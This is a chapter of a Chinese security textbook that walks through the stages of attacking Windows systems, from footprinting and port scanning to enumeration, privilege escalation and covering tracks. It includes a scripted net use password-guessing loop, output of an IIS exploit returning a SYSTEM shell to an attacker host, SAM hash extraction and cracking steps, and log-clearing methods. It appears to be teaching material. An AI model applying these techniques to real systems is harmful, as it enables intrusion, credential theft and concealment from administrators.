第3章网络攻击技术 本章介绍黑客攻击的动机、攻击的流程、被攻击对象的信息收集、攻击的手段和计算机病毒,重点介绍信息收集、网络攻击技术以及如何利用工具攻击计算机系统。 3.1黑客攻击的流程 黑客的动机究竟是什么?在回答这个问题之前,应对黑客的种类有所了解,原因是不同种类的黑客动机有着本质的区别。从行为上划分,黑客有“善意”和“恶意”两种,即所谓的白帽(White Hat)和黑帽(Black Hat)。白帽利用他们的技能做一些善事,而黑帽则利用他们的技能做一些恶事。白帽长期致力于改善计算机社会及其资源,为了改善服务质量及产品,他们不断寻找弱点及脆弱性并公布于众。例如,为了找出程序的安全漏洞,帮助生产厂家改进他们的产品,白帽做了大量的安全上的测试工作,他们所做的工作实际上是一种公众测试形式。 尽管黑客攻击系统的技能有高低之分、入侵系统手法多种多样,但他们对目标系统实施攻击的流程却大致相同。其攻击过程可归纳为以下9个步骤,即踩点(Foot Printing)、扫描(Scanning)、查点(Enumeration)、获取访问权(Gaining Access)、权限提升(Escalating Privilige)、窃取(Pilfering)、掩盖踪迹(Covering Track)、创建后门(Creating Back Doors)和拒绝服务攻击(Denial of Services)。黑客攻击的流程如图31所示。 图31黑客攻击的流程示意图 3.2Windows系统的攻击流程 3.2.1踩点 1. 踩点基本原理 “踩点”原意为策划一项盗窃活动的准备阶段。举例来说,当盗贼决定抢劫一家银行时,他们不会大摇大摆地走进去直接要钱,而是狠下一番工夫来搜集这家银行的相关信息,包括武装押运车的路线及时间、摄像头的位置、逃跑出口等信息。在黑客攻击领域,“踩点”是指传统概念的电子化形式。 “踩点”的主要目的是获取目标的以下信息。 ① 因特网网络域名、网络地址分配、域名服务器、邮件交换主机和网关等关键系统的位置及软硬件信息。 ② 内联网和Internet内容类似,但主要关注内部网络的独立地址空间及名称空间。 ③ 远程访问模拟/数字电话号码和VPN访问点。 ④ 外联网与合作伙伴及子公司网络的连接地址、连接类型及访问控制机制。 ⑤ 开放资源未在前4类中列出的信息,如Usenet、雇员配置文件等。 为达到以上目的,黑客常采用以下技术。 (1) 开放信息源搜索。通过一些标准搜索引擎,揭示一些有价值的信息。例如,通过使用Usenet工具检索新闻组(Newsgroup)工作帖子,往往能揭示许多有用的东西。通过使用Google检索Web的根路径C:\\inetpub,揭示出目标系统为Windows 2003。对于一些配置过于粗心大意的服务器,利用搜索引擎甚至可以获得passwd等重要的安全信息文件。 (2) whois查询。whois是目标Internet域名注册数据库。目前,可用的whois数据库很多。例如,查询com、net、edu及org等结尾的域名可通过http://www.networksolutions.com得到,而查询美国以外的域名则应通过查询http://www.allwhois.com得到相应whois数据库服务器的地址后完成进一步查询。 通过对whois数据库的查询,黑客能够得到以下用于发动攻击的重要信息: 注册机构,得到特定的注册信息和相关的whois服务器; 机构本身,得到与特定目标相关的全部信息; 域名,得到与某个域名相关的全部信息; 网络,得到与某个网络或IP相关的全部信息; 联系点(POC),得到与某个人(一般是管理联系人)的相关信息。 例如,通过www.networksolutions.com查询到的IBM公司的信息,如图32所示。 (3) DNS区域传送。DNS区域传送是一种DNS服务器的冗余机制。通过该机制,辅DNS服务器能够从主DNS服务器更新自己的数据,以便主DNS服务器不可用时,辅DNS服务器能够接替主DNS服务器工作。正常情况下,DNS区域传送只对辅DNS服务器开放。然而,当系统管理员配置错误时,将导致任何主机均可请求主DNS服务器提供一个区域数据的备份,以致目标域中所有主机信息泄露。能够实现DNS区域传送的常用工具有dig、nslookup及Windows版本的Sam Spade。 图32IBM公司信息 2. Windows系统踩点 1) 攻击者使用工具软件逐步收集的被攻击者信息 (1) 因特网信息。域名、网络地址范围; 经因特网可达的系统IP地址,系统上运行的TCP和UDP服务; 访问控制机制和访问控制列表; 入侵检测系统; 系统查点。 (2) 内联网信息。内联网的网络协议是IP还是DecNet?内联网的内部域名、网络地址块; 经内联网可达的系统IP地址,系统上运行的TCP和UDP服务; 访问控制机制和访问控制列表; 入侵检测系统; 系统查点。 (3) 外联网信息。外联网是连接源地址还是目标地址、连接类型、访问控制机制等。 (4) 远程访问信息。数字电话号码、远程系统类型、身份验证机制、VPN及相关协议是IPSec还是SSL。 2) 攻击者常用的踩点技巧 (1) 网页搜寻。通常都会从目标所在的主页开始。目标网页可以提供大量的有用信息,甚至某些与安全相关的配置信息。 (2) 争取授权。黑客踩点的第二件事就是争取获得必要的授权。从技术角度将,TCP/IP是五层模型; 但从信息安全的角度看,政治因素和资金因素是更高层次,包括踩点是否得到了书面授权?授权的范围和内容是什么?授权是否来自有权做出该授权的部门?目标IP地址是否正确? (3) 链接搜索。通过互联网上的超级搜索引擎来获得同目标系统相关的信息。目标网站所在的服务器可能有其他具有弱点的网站,获得同目标系统相关的信息,可以进行迂回入侵,而且可以发现某些隐含的信息。两款超级搜索引擎为www.dogpile.com和www.hotbot.com。 利用www.dogpile.com的whois查询,搜索“www.hacz.edu.cn”,显示结果如图33所示; 利用www.hotbot.com的whois查询,搜索“河南财专”,显示结果如图34所示。 图33搜索“河南财专”相关的网站信息 图34关键字“河南财专”的搜索结果 获取“河南财专”的信息: 网站服务器IP为210.42.224.11; 邮件服务器IP为210.42.224.9; 教务管理系统IP为210.42.224.51; 电话号码; 到其他Web服务器的链接等。 获取信息的目的: 有可能发掘漏洞。 (4) 勘察网络。勘察网络是黑客确定目标网络的拓扑及进入网络内部的潜在访问通道。在Windows上有一个tracert程序,该程序利用IP分组中的存活时间(Time To Live,TTL)字段从途径的每台路由器发出一条ICMP超时消息(TIME_EXCEEDED)。处理该分组的每台路由器应该将TTL字段减1。 通常利用这一功能确定分组途径的准确路径。它除了确认基于应用程序的防火墙或分组过滤路由器外,还探索目标网络采用的网络拓扑。运行tracert程序的计算机IP是192.168.1.100,利用tracert程序探测到达www.hacz.edu.cn的路径信息,如图35所示。 SamSpade是一款运行在Windows平台上的集成工具箱软件,用于大量的网络探测、网络管理和与安全有关的任务,包括ping、nslookup、whois、dig、traceroute、finger、raw HTTP web browser、DNS zone transfer、SMTP relay check、website search等工具。运行SamSpade的计算机IP是192.168.1.100,利用SamSpade的tracert程序探测到达www.hacz.edu.cn的路径信息,如图36所示。 黑客通过踩点,已经获得“河南财专”的一部分互联网信息(网站服务器IP地址为210.42.224.11、教务管理系统IP地址为210.42.224.51和邮件服务器IP地址为210.42.224.9以及路由信息等)。下一步需要确定目标网络范围内哪些系统是“活动”的以及它们提供哪些服务。 图35tracert探测到达www.hacz.edu.cn的路径信息 图36SamSpade探测到达www.hacz.edu.cn的路径信息 3.2.2扫描 1. 扫描基本原理 通过踩点已获得一定信息(IP地址范围、DNS服务器地址和邮件服务器地址等),下一步需要确定目标网络范围内哪些系统是“活动”的以及它们提供哪些服务。与盗窃案的踩点相比,扫描就像是辨别建筑物的位置并观察它们有哪些门窗。扫描的主要目的是使攻击者对攻击的目标系统所提供的各种服务进行评估,以便集中精力在最有希望的途径上发动攻击。 扫描中采用的主要技术有Ping扫射(Ping Sweep)、TCP/UDP端口扫描、操作系统检测、旗标(Banner)的获取以及安全措施探查。 (1) Ping扫射。Ping扫射是判别主机是否“活动”的有效方式。Ping用于向目标主机发送ICMP回射请求(Echo Request)分组,并期待由此引发的表明目标系统“活动”的回射应答(Echo Reply)分组。常用的Ping扫射工具有操作系统的Ping命令及用于扫射网段的fping、WS_ping等。 (2) 端口扫描。端口扫描就是连接到目标主机的TCP和UDP端口上,确定哪些服务正在运行及服务的版本号,以便发现相应服务程序的漏洞。著名的扫描工具有superscan及NetScan Tool Pro(www.nwpsw.com)。 (3) 操作系统检测。由于许多漏洞是和操作系统紧密相关的,因此确定操作系统类型对于黑客攻击目标来说也十分重要。目前用于探测操作系统的技术主要可以分为两类,即利用系统旗标信息、利用TCP/IP堆栈指纹。每种技术又可进一步细分为主动鉴别和被动鉴别。常用的检测工具有Nmap、Queso和Siphon。 (4) 旗标获取。在旗标获取方法中,使用一个打开端口来联系和识别系统提供的服务及版本号。最常用的方法是连接到一个端口,按Enter键几次,看返回什么类型信息。 例如: \[Netat_svr#\] Telnet 192.168.5.33 22 SSH-1.99-OpenSSH_3.1p1 表明该端口提供SSH服务,版本号为3.1p1。 (5) 安全措施探查。目前,一般的网络服务器都会配置安全防护设备,基本的有防火墙、入侵检测,一些重要的安全服务器会配置蜜罐系统、防DoS攻击系统和过滤邮件等。在扫描过程中根据扫描结果,需要判断目标使用了哪些安全防护措施。 获取的内容包括以下几项。 ① 获取目标的网络路径信息。目标网段信息: 确认目标所在的网段、掩码情况,判断安全区域划分情况,为可能的跳板攻击做准备。目标路由信息: 确认目标所在的具体路由情况,判断在路由路径上的各个设备类型,如是路由器、三层交换机还是防火墙。 ② 了解目标架设的具体路由情况,确认目标是否安装了安全设施。一般对攻击影响较大的有防火墙、入侵检测和蜜罐系统。 ③ 了解目标使用安全设备情况。这对攻击的隐蔽性影响很大,同时也决定了在后期安全后门的攻击困难程度。这部分主要包括入侵检测、日志审计及防病毒安装情况。 2. Windows系统扫描 网络踩点收集网络用户名、IP地址范围、DNS服务器以及邮件服务器等有价值信息。网络扫描将确定哪些系统在活动,且能从因特网上访问到。 1) 确定系统是否在活动 早期的Ping用于向某个目标系统发送ICMP回送请求(Echo Request)分组(ICMP类型为8),并期待目标系统返回ICMP回送应答(Echo Reply)分组(ICMP类型为0)。对于中小规模的网络,利用这种方法来确定系统是否在活动是可行的; 但对于大规模网络,Ping的方法就显得效率低下。 在Windows系统中,有许多可以用来进行ICMP Ping扫描的工具,其中Fping是以并行的轮询形式发出的大量的Ping请求。Fping工具有两种用法: 一种是通过标准输入设备(stdin)向它提供一系列IP地址; 另一种是从文件中读取。每行放一个IP地址,组成一个文件abc.txt,格式如下: 192.168.26.1 192.168.26.2  192.168.26.253 192.168.26.254 然后,使用“H”参数读入文件: C:>fping -H abc.txt Fast pinger version 2.22 (c) WouterDhondt (http://www.kwakkelflap.com) Pinging multiple hosts with 32 bytes of data every 1000 ms: Reply[1] from 192.168.26.1: bytes=32 time=0.5 ms TTL=64 Reply[2] from 192.168.26.2: bytes=32 time=0.5 ms TTL=64  192.168.26.134 request timed out(该机器没有启动)  Reply[253] from 192.168.26.253: bytes=32 time=0.5 ms TTL=64 Reply[254] from 192.168.26.254: bytes=32 time=0.5 ms TTL=64 Ping statistics for multiple hosts: Packets:Sent = 254,Received = 127,Lost = 127 (50% loss)(机器活动数量127台,未启动数量127台) Approximate round trip times in milli-seconds: Minimum = 0.2 ms,Maximum = 0.5 ms,Average = 0.3 ms Fping还有许多选项,此处不再一一列举。对Windows系统而言,美国Foundstone公司开发的SuperScan软件的速度是最快的。与Fping类似,SuperScan能在同时发出多个ICMP回送请求分组后等待并监听目标主机的响应,它也允许把解析出的主机名存放在HTML文件中。 2) 确定哪些服务正处于监听状态 选定当前监听的端口,这对于确定所用的操作系统和应用程序的类型至关重要。因此,对目标系统的TCP和UDP端口进行连接,以达到了解该系统正在运行哪些服务的过程,就称为端口扫描。 (1) 端口扫描技术。最近几年,端口扫描技术和扫描工具有很大的发展。大多数工具提供基本的TCP和UDP扫描能力,并集成了多种扫描技术。 ① TCP Connect扫描。该扫描是调用套接口函数connect()连接目标端口,完成一次完整的三次握手过程。客户发送一个SYN分组给服务器; 服务器发出SYN/ACK分组给客户; 客户再发送一个ACK分组给服务器。TCP三次握手过程在第2章已有详细介绍。 ② TCP SYN扫描。该技术又称为半打开扫描(HalfOpen Scanning),没有建立完全的TCP连接。扫描主机向目标端口发送一个SYN分组,如能收到来自目标端口的SYN/ACK分组,则可推断该端口处于监听状态; 如果收到的是一个RST/ACK分组,则说明该端口未被监听。执行端口扫描的系统随后发出RST/ACK分组,这样并未建立任何“连接”。显然,该方法比较隐秘,不易被目标系统检测到。但是,如打开的半开连接数量过多时,会在目标主机上形成“拒绝服务”而引起对方的警觉。 ③ TCP ACK扫描。该技术用于探测防火墙的规则集。它可以确定防火墙是否只是简单地分组过滤、只允许已建好的连接(设置ACK位),还是一个基于状态的、可执行高级的分组过滤防火墙。 ④ TCP NULL扫描。该技术是关掉所有的标志。根据RFC793文档规定,如目标端口是关闭的,目标主机应该返回RST分组。 ⑤ TCP SYN/ACK扫描。该技术故意忽略TCP的三次握手。原来正常的TCP连接可以化简为SYNSYN/ACKACK形式的三次握手来进行。这里,扫描主机不向目标主机发送SYN数据包,而先发送SYN/ACK数据包。目标主机将报错,并判断为一次错误的连接。若目标端口开放,则目标主机将返回RST信息。 ⑥ UDP扫描。该技术是往目标端口发送一个UDP分组。如果目标端口发回ICMP port unreachable作为响应,则表示该端口是关闭的; 否则该端口是打开的。由于UDP是无连接的、不可靠的协议,因此上述结果仅作为参考。 (2) 端口扫描工具。下面介绍两款流行的且经过实践考验的基于Windows的端口扫描工具。 ① SuperScan。这里目前速度最快、适应面广的Windows端口扫描工具之一,既是一款黑客工具,又是一款网络安全工具。黑客利用它的拒绝服务攻击(Denial of Service,DoS)收集远程网络主机信息。作为安全工具,SuperScan能够帮助你发现网络中的弱点,它可以用来进行Ping扫描、TCP端口扫描、UDP端口扫描,还可以组合多种技术同时进行扫描。 ② Advanced Port Scanner。这是一种形式简洁、扫描迅速以及易于使用的端口扫描器,可以进行多线程扫描。这种端口扫描器为一般端口列出详情,可以在扫描前预先设置扫描的端口范围或者是基于常用端口列表,扫描结果以图的形式显示出来。 (3) 端口扫描检测程序。在Windows平台上,由Independent Software公司编写的Genius 2.0软件可以用来监测简单的端口扫描活动,这个工具适用于Windows 2000/2003。Genius会在一段给定时间内同时监听大量的端口打开请求,当它监测到一次扫描时,就会弹出一个窗口向你报告来犯者的IP地址和DNS主机名。 3) 确定被扫描系统的操作系统类型 要确定一个系统的操作系统类型有两种方法: 一种是主动协议栈指纹鉴别; 另一种是被动协议栈指纹鉴别。由于TCP/IP协议栈只是在RFC文档中描述,并没有一个统一的行业标准,各个公司在编写应用于自己操作系统的TCP/IP协议栈时,对RFC文档做出了不尽相同的诠释,于是造成了各个操作系统在TCP/IP协议栈的实现上有所不同。 协议栈指纹鉴别(Stack Fingerprinting)是指不同厂家的TCP/IP协议栈实现之间存在细微差别,通过探测这些差异,能够对目标系统所用的操作系统进行比较准确的判别。 (1) 主动协议栈指纹鉴别。 ① FIN探测分组。发送一个只有FIN标志位的TCP数据包给一个打开的端口,Windows发回一个FIN/ACK分组。 ② ACK序号。发送一个FIN/PSH/URG数据包到一个关闭的TCP端口,Windows发回序号为初始序号加1的ACK包。 ③ 虚假标记的SYN包。在SYN包的TCP首部设置一个准确定义的TCP标记,Windows系统在响应字节中不设置该标记,而是会复位连接。 ④ ISN(初始化序列号)。在响应一个连接请求时,Windows系统选择TCP ISN时采用一种与时间相关的模型。 ⑤ TOS(服务类型)。对于ICMP端口不可达消息,Windows送回包的值为0。 ⑥ 主机使用的端口。Windows会开放一些特殊的端口,如137、139和445。 (2) 被动协议栈指纹鉴别。主动协议栈指纹鉴别需要主动往目标发送数据包,往往容易被IDS捕获。为了隐秘地识别远程操作系统,就需要使用被动协议栈指纹识别。被动协议栈指纹识别在原理上和主动协议栈指纹识别相似,但是它不主动发送数据包,只是被动地捕获远程主机返回的包,并分析其操作系统类型或版本。 在TCP/IP会话中,有3个基本属性对识别操作系统有用。Windows的3个基本属性如下。 ① TTL,(TimeToLive)=128表示存活期。 ② Windows Size窗口大小=0×402e。 ③ Don't Fragment位(DF)=0(分片)。 被动分析这些属性,符合上述结果,则远程操作系统类型为Windows。 NMAP是一个跨平台的端口扫描工具,它提供给管理员扫描整个网络的能力,并发现网络的安全弱点所在。在图37中,NmapWin扫描到了Windows特殊端口137,因此远程操作系统为Windows。 3.2.3查点 1. 查点基本原理 通过扫描,入侵者掌握了目标系统所使用的操作系统,下一步工作是查点。查点就是搜索特定系统上用户和用户组名、路由表、SNMP信息、共享资源、服务程序及旗标等信息。查点所采用的技术依操作系统而定。在Windows系统上主要采用的技术有“查点NetBIOS”线路、空会话(NULL Session)、SNMP代理和活动目录(Active Directory)等。 Windows系统上主要有以下工具。 (1) Windows系统命令。其包括net view、nbtstat、nbtscan和nltest。 (2) 第三方软件。 ① Netviewx。 ② Userdump。 ③ User2sid。 ④ GetAcct。 ⑤ DumpSec。 ⑥ Legion。 ⑦ NAT。 图37NmapWin扫描远程操作系统 2. Windows系统查点 如果目标探测和勘察网络后收获不大,攻击者就会针对有效的用户账号或保护不当的共享资源下手。从系统中抽出有效账号或导出资源名的过程就称为查点(Enumeration)。 查点涉及去往目标系统的主动连接和定向查询。它与具体操作系统密切相关,且攻击的重点在于网络资源和共享资源、用户和用户组、服务程序及其旗标。 (1) 旗标抓取基础。旗标抓取是查点技术的基础,它可以定义为连接到远程应用程序并观察它的输出。攻击者可以识别目标系统上运行的各项服务工作模型,以便对其潜在弱点展开研究。一般情况下,建立一条到目标服务器某已知端口的Telnet连接,多按几次Enter键,就有可能得到以下的返回信息: C:/>telnet www.corleone.com 80 HTTP/1.0 400 Bad Request Server:Netscape-commerce/1.12 Your browser sent a non-HTTP complaint message 由此可见,Telnet技术可用于监听标准端口(http/80、smtp/25、ftp/21)的应用服务。 (2) 常用网络服务查点。 ① FTP查点: C:/>telnet 192.168.1.250 25 ② SMTP查点: C:/>telnet 192.168.1.250 25 ③ NETBOIS NAME SERVICE查点: C:\>NET VIEW /DOMAIN(查询域) Domain ------------ MSHOME WORKGROUP 命令成功完成。 网络截包如图38所示。 图38利用NET VIEW查点工具查点一 再查询某个域中的服务器: C:\>net view /domain:MSHOME 服务器名称注释 ------------ \\MSHOME-WDB1111 命令成功完成。 网络截包如图39所示。 图39利用NET VIEW查点工具查点二 ④ NBTSTAT查点。Windows第二个查点工具是NBTSTAT,使用它能够调出某个远程系统的NETBOIS清单。 C:\>nbtstat -A 10.0.0.57 Node IpAddress:[10.0.0.57] Scope Id:[] NetBIOS Remote Machine Name Table NameTypeStatus -------------------------------------- MSHOME-XXK-1309<00>UNIQUERegistered MSHOME-XXK-1309 <20> UNIQUE Registered MSHOME-XXK <00> GROUP Registered MSHOME-XXK <1E> GROUP Registered MSHOME-XXK <1D> UNIQUE Registered ..__MSBROWSE__..<01> GROUP Registered MAC Address = B8-AC-6F-3E-3E-85 还能够查出计算机名、MAC地址、所在域名、已登录的用户(03)、正在运行的服务(1C)等信息。 ⑤ MSRPC端点映射器查点。MSRPC(MicroSoft Remote Procedure Call)的端点映射器(End Point Mapper)运行在TCP135端口上。查询该服务可以获得目标主机上的应用程序和相关信息。 C:>Rpcdump /s /v /i ProtSeq:ncacn_ip_tcp Endpoint:1025 NetOpt: Annotation:MS NT Directory DRS Interface IsListening:YES StringBinding:ncacn_ip_tcp:65.53.63.15[1025] UUID:e3514235-4b06-11d1-ab04-00c04fc2dcd2 ComTimeOutValue:RPC_C_BINDING_DEFAULT_TIMEOUT VersMajor 4 VersMinor 0 3.2.4获取访问权 1. 获取访问权基本原理 在搜集到目标系统足够信息后,下一步要完成的工作自然是得到目标系统的访问权进而完成对目标系统的入侵。对于Windows系统采用的主要技术有NetBIOS SMB口令猜测(包括手工及字典猜测)、窃听LM及NTLM认证散列、攻击IIS Web服务器及远程溢出攻击。著名的口令窃听工具有Sniffer pro、TCPdump、LC4和Readsmb。字典攻击工具有LC4、John the RIPper、NAT、SMBGrind。对于访问受限制的服务,入侵者便会通过暴力破解的方式获取访问权限。 2. Windows系统获取访问权 1) Windows独有的组网协议和服务 这些协议和服务包括服务器信息块(SMB)、微软远程过程调用(MSRPC)和NetBIOS的相关服务,如NetBIOS会话服务、NetBIOS名字解析服务等。这些程序提供的应用程序编程接口(API)可以访问远程的Windows系统。 2) 各种因特网服务在Windows中的实现 大家熟悉的因特网协议,如HTTP、SMTP、POP3和NNTP等协议及其服务几乎都可以在IIS中实现。 (1) 远程口令猜测。黑客攻击Windows系统的方法是攻击文件和打印共享服务所运行的SMB协议。SMB在Windows 2000及以后的版本中,除了使用139号端口外,还使用445号端口,实现直连主机的服务,其实质是SMB over HTTP服务。当攻击者试着连接一个在查点阶段发现的共享卷,如进程间通信共享卷(IPC$)或系统管理共享卷(C$)时,其一定先尝试各种用户名/口令组合,直到能进入目标系统为止。 口令猜测可以使用下列命令行,其中(*)表示装入口令的地方: C:\>net use \\192.168.202.44\IPC$ */u:Administrator Type the password for \\192.168.202.44\IPC$: The command completed successfully. 在本例中,如果由/u给出的Administrator账户名去连接目标系统而不成功,可以利用DOMAIN\account或MACHINE\account去连接。它们各自的安全标识符(SID)是不同的。 攻击者可以只猜测某服务器或工作站上的“本地”已知账户的口令,而不用猜测Windows域控制器上的全局账户的口令,该口令可能更严格些。口令猜测是有次数限制的,超过账户锁定阈值时账户将被锁定。为此,利用工具进行自动化猜测是很有必要的。 事实上,许多专用的软件程序可以进行自动化的口令猜测。例如,legion工具可以一次扫描多个C类IP地址范围,以便找出共享卷,同时提供手动方式的字典攻击工具。此外,NAT(NetBIOS Auditing Tool)和WindowsInfoScan都是免费的命令行工具,也能帮助攻击者进行快速的口令猜测。当然,如果一时找不到工具,也可以在Windows的命令行窗口里用FOR命令和标准的net use语法编写一个简单的循环,然后进行自动化口令猜测。 首先,创建一个简单的用户名(如Administrator)和口令文件cred.txt,具体如下: [File: cred.txt] passwordusername " "Administrator passwordAdministrator administratorAdministrator adminAdministrator secretAdministrator  注意,上述文件使用制表符作为分隔符," "为空口令,其他口令是常见的口令。 紧接着,利用FOR命令将文件输入,具体如下: C:\>FOR /F"token=1,2*" %i in(cred.txt) do net use \\target\IPC$ %i /u:%j 上述命令将把cred.txt文件中第一行的第一个记号赋值给变量%i(口令),第二个记号赋值给变量%j(用户名)。net use命令将使用这两个变量作为参数去尝试连接目标系统的服务器共享卷。在命令提示符处输入“FOR /?”可以查看FOR命令的帮助信息。 为了防范口令猜测的攻击,首先应当利用防火墙安防手段,禁止或限制TCP的139号和445号端口上的SMB服务。其次,可以使用Windows的主机级安防机制来限制对SMB的访问,其中IPSec过滤器只适用于Windows 2000及以上版本; ICF(Internet Connection Firewall)仅适用于Windows XP、Windows Server 2003及以上版本。 (2) 针对IIS的攻击。针对IIS攻击手段几乎都以IIS提供的WWW服务(HTTP守护进程)为攻击目标,它们的进攻路线主要有3条,即信息泄露、目录遍历和缓冲区溢出。下面介绍针对IIS的最新攻击手段。 1996年6月,在ISM.DLL中发现第一个缓冲区溢出漏洞以来,实现索引服务的IDA.DLL和实现因特网打印协议的msw3ptr.dll等IIS功能模块里不断发现IIS的缓冲区溢出漏洞。针对此漏洞,微软公司在IIS6里禁用这些功能模块。但是,为电子商务提供保护的SSL必须开放这些功能。 因此,微软公司在2004年4月发布的MS04011安防公告承认,为提供SSL功能的某个函数库中发现一个与PCT(Private Communications Transport)协议相关的代码中存在缓冲区溢出漏洞。虽然PCT已过时,却给黑客留下了攻击的立足点。 例如,Johnny Cyberpunk公司发布的thciisslame.c程序,在经过编译之后,可通过443号端口攻击运行着IIS的Windows 2000 SP4系统。如能获得成功,该程序将把一个以system权限运行的远程命令shell发送到攻击者主机上的指定端口,代码如下: C:\tools>thcisslame 192.168.234.119 192.168.234.2 1337 Thciisslame v0.2-IIS 5.0 SSL remote root exploit test on Windows 2000 Server german/English SP4 by Johnny Cyberpunk(jcyberpunk@thc.org) [*]building buffer [*]connecting the target [*]exploit send [*]waiting for shell c:\windows\system32>who am i NT AUTHORITY\SYSTEM 针对PCT缓冲区溢出漏洞的补丁和具体操作可以在微软公司的网站找到。作为应急措施,在Windows Server 2003中的SSL函数库存在的缓冲区溢出漏洞,可以在注册表里把主键(REGBINARY类型,如果没有该键,可以自己创建)的键值设置为00000000(禁用): [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Server\Enable]。 3.2.5权限提升 1. 权限提升基本原理 一旦攻击者通过前面4步获得了普通用户的访问权限后,攻击者就会试图将普通用户权限提升至超级用户权限,以便完成对系统的完全控制。这种从低级权限开始,通过各种手段得到较高权限的过程称为权限提升。权限提升所采取的技术主要有: 通过得到的口令文件,利用现有工具软件,破解系统上其他用户名及口令; 利用不同操作系统及服务的漏洞(Windows 2003 NetDDE漏洞); 利用管理员不正确的系统配置等。常用的口令破解工具有John the RIPper,得到Windows Server 2003管理员权限的工具有lc_message、getadmin、sechole、Invisible Keystroke Logger。 2. Windows系统权限提升 攻击者利用交互登录权限在进入一个Windows系统后,便会对终极特权账户Adminstrator或System进行攻击。权限提升是重要的一环,黑客采用网络工具利用Windows漏洞进行攻击,以提升权限。 Netddemsg工具利用网络动态数据交换服务的漏洞攻击Windows 2003,并把权限提升到System水平; Debploit工具利用Windows会话管理器的漏洞进行攻击; Xdebug工具利用Windows内核调试功能的漏洞实行攻击。对因特网的用户来说,攻击Windows系统最重要的权限提升和进攻路线是Web浏览和电子邮件处理。 从技术角度来讲,获得Adminstrator权限并不等于获得Windows主机的最高权限。System账户,也叫Local System或NT AUTHORITY\SYSTEM账户,其权限比Adminstrator账户还要高。不过,有了Adminstrator权限,就可以利用Windows的计划任务服务打开一个命令shell去获得System账户的权限。代码如下: C:\>at 16:33 /INTERACTIVE cmd.exe 另外,www.sysinternals.com提供的psexec工具也允许远程获得和使用System账户的权限。 3.2.6窃取 1. 窃取基本原理 一旦攻击者得到了系统的完全控制权,接下来将完成的工作是窃取,即进行一些敏感数据的篡改、添加、删除及复制(如Windows系统的注册表)。通过对敏感数据的分析,为进一步攻击应用系统做准备。 2. Windows系统窃取 获得Adminstrator权限后,攻击者必须得到账户的口令。在Windows系统中,口令以密文的形式存放在安全账号管理器(Security Accounts Manager,SAM)中,SAM中存有本地系统或域控制器所控制范围内的用户名及其口令。 在Windows 2003系统和以后的域控制器上,口令密文都存放在活动目录(即%windir%WindowsDS\ntds.dit)中。在默认安装的情况下,ntds.dit文件的大小接近于10MB,且采用了加密格式,攻击者很难进行离线分析。在不是域控制器的系统上,SAM文件存放在文件夹C:\windows\system32\config中,通常无法下载; SAM备份文件存放在文件夹C:\windows\repair中,可以下载。 攻击者破解SAM文件,按照以下步骤进行。 (1) 用另一种操作系统(如DOS系统的NTFSDOS工具包)启动目标主机,把存放口令密文的文件复制到移动硬盘上。 (2) 复制硬盘修复工具包所创建的SAM备份文件。Windows的SAM备份文件存放在文件夹C:\windows\repair中,该文件被SYSKEY加密。 (3) 窃听Windows系统的身份验证过程。 (4) 利用Pwdump7工具提取口令密文。Pwdump7工具可以绕过SYSKEY机制,它利用“DLL注射”急速把自身的代码加载到另一个高优先级的进程空间; 然后发出一个内部API调用去访问经由SYSKEY加密的口令,而不需要对它们进行破解。被加载的高优先级进程是lsass.exe,它是本地安全管理子系统(Local Security Authority Subsystem,LSASS)。当Pwdump7的代码“注射”到LSASS的地址空间和用户上下文时,便能自动查出LSASS的进程ID。Pwdump7可以从TCP的139号或445号端口远程提取口令密文,但无法攻击本地系统。 (5) L0phtcrack破解口令密文。SAM存放的用户口令是经过加密的,其加密算法为IBM LAN Manager(LM)开发的一种散列算法,脆弱的LM散列算法已被逆向破解。微软公司为了保持与非Windows平台的软件兼容性,Windows 2000及以上的版本也保留了LM算法,因此破解SAM文件已不是什么难事。 LM散列算法的致命弱点是把口令分成两部分,前7个字符为一组,后7个字符为另一组。这样,8个字符的口令可看成7个字符的口令和1个字符的口令。L0phtcrack工具利用这个弱点,设计成同时破解一个口令的两半,就像它们是独立的口令一样。 例如,以12个字符的口令123456Qwerty为例,按照LM算法加密时,首先转换成大写字母123456QWERTY,然后填上空格符补齐,使其成为长度为14个字符的口令。在加密之前,14个字符可分为123456Q和WERTY_ _两部分,两个字符串被分别加密,加密结果合并起来就是最终的散列值。123456Q加密后为6BF11E04AFAB197F,WERTY_ _加密后为1E9FFDCC75575B15,连在一起的散列值为6BF11E04AFAB197F1E9FFDCC75575B15。 这两半口令任何一半被攻破时,L0phtcrack就立即显示。因此有可能对口令进行猜测: 出现WERTY模式暗示口令选自键盘的连续键构成。由此可以推断出各种可能性,如QWERTYQWERTY、POIUYTQWERTY、ASDFGHQWERTY、YTREWQQWERTY以及123456QWERTY这个最终被认定的口令。 3.2.7掩盖踪迹 1. 掩盖踪迹基本原理 黑客并非踏雪无痕,一旦黑客入侵系统,必然留下痕迹。此时,黑客首先需要做的工作就是清除所有入侵痕迹,避免自己被检测出来,以便能够随时返回被入侵系统继续干坏事或作为入侵其他系统的中级跳板。掩盖踪迹的主要工作有禁止系统审计、清空事件日志、隐藏作案工具及使用人们称为rootkit的工具组替换那些常用的操作系统命令。常用的清除系统日志工具有zap、wzap和wted。 2. Windows系统掩盖踪迹 攻击者取得Administrator账号权限后,不仅要尽快窃取目标系统的信息,更想安置几个后门程序、藏匿一个工具箱、禁止审计、清空事件日志和隐藏文件,以销赃匿迹,确保不被检测出来,保证再次返回时可安全行事,或者将该机作为桥头堡,以备对其他系统发动攻击时可以少做些工作。 (1) 关闭审计功能。利用资源工具箱中的auditpol审计程序关闭/打开(Disable/Enable)审计功能易如反掌。因此,攻击者经常是行事时将审计关闭,离开目标系统前再将审计打开,于是auditpol就保持不变。 (2) 清理事件日志。在获得管理员权限的过程中,攻击者利用自己主机的事件查看器(Event Viewer)删除Windows事件日志(Event Log)留下的踪迹,但同时会留下一条新的记录,说明事件日志已被入侵者清空。这样,可能引起目标系统管理员的警觉。如果改用手工改动日志文件,也不能确保成功,因为Windows系统使用的日志语法比较复杂。 (3) 隐藏文件。在目标系统上保留一个工具箱以供再次入侵时使用,这就是入侵者的意愿。但是,攻击者隐藏工具也不能采取简单地改变文件属性的方法,因为在资源管理器中可以用“显示所有文件”选项显示隐藏的文件。 